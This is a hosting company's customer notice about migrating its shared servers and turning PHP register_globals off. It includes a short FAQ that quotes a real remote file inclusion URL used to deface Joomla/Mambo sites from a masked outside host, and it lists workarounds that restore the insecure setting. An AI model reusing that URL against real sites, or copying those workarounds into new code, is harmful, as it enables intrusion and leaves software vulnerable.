In an effort to offer an over-all better service, we will be upgrading our shared hosting servers and migrating them to a different network. The new shared hosting servers will have better performance due to the new Intel dual-core dual xeon processors with 4 GB of memory. They will be located in the AtlantaNAP datacenter (www.atlantanap.com) with Gigabit connections to Global Crossing, Telia, PCCWBTN, and Savvis. In addition, the servers are connected to a Route Science route optimizing system that route connections to the server in the fastest possible way by identifying any problematic areas (for example bottlenecks or packetloss) then re-routing the traffic to ensure the highest performing path from end user to server.
We will be migrating all shared hosting accounts over to the new servers one at a time and will email you notice regarding any changes you may need to make on your end after the migration is completed. We ask that on the date the migration is planned to take place that you do not update your website files for 12-24 hours to ensure any changes you made last are moved to the new server.
Due to the network change your shared IP address will change. If you have a dedicated IP on a domain for SSL that domain will get a new IP and SSL will be reinstalled. Unless you have a dedicated IP for SSL your account will be hosted on the shared IP.
The old server will remain online until March 1, 2007 should the need arise to retrieve data. Should you have any questions and/or concerns regarding the migration, procedures, or anything related to our service in general or are confused by what you may need to do please don't hesitate to contact us for further information.

We will be making a server configuration change related to PHP Register Globals at the date below. If you are not using PHP for your website you can disregard this notice. Currently PHP Register Globals is set to ON across our entire network of servers and will be changed to OFF. You will find a mini FAQ regarding this change below.
Change Date: Sunday October 1, 2006
Why are we making this change?
When Register Globals is ON, you can overwrite variables in PHP scripts by appending them to the URL, e.g. script.php?myvar=42 would define a variable myvar with the value of 42. Depending on how your script works this could be a security risk which was the case with many of the scripts within Fantastcio being hacked/compromised.
An example was Mambo/Joomla scripts being exploited by including the following in the requested URL:
components/com_extcalendar/extcalendar.php?mosConfig_absolute_path=http://*****.com/oki/file.txt?
The example above shows how easy it is to call an external script by using the calender component in Jooma to deface the website. PHP has set Register Globals default value to OFF since version 4.2.0 as noted here in the first line: http://us3.php.net/register_globals.
What can happen as a result of this change?
Old/outdated scripts still depending on Register Globals to be ON will have problems as those scripts need Register Globals to be on in order to work.
What can be done to prevent/resolve any problems caused as a result of this change?
Most scripts have dropped the need of Register Globals to be ON or have custom workarounds to this issue. Upgrading to the latest version of the script could possibly resolve any problems caused by this change. We also recommend contacting your script developer if you're unsure to see if Register Globals turned ON is a requirement. Other solutions include:
- Contacting your script developer to make changes to the script so it does not rely on Register Globals to be enabled.
- If your scripts need Register Globals enabled for the use of GET/POST/COOKIE variables then you can add the following in the fileheader:
import_request_variables('GPC');
If you need other variables like SERVER use the function extract().
- If you need Register Globals ON then you can upload a custom php.ini file in your scripts directory to negate this change (this means your scripts will be vulnerable to being exploited). You can find a custom php.ini file at the URL below with Register Globals turned ON. Simply upload it to your scripts directory and name it php.ini to override the change on the server.
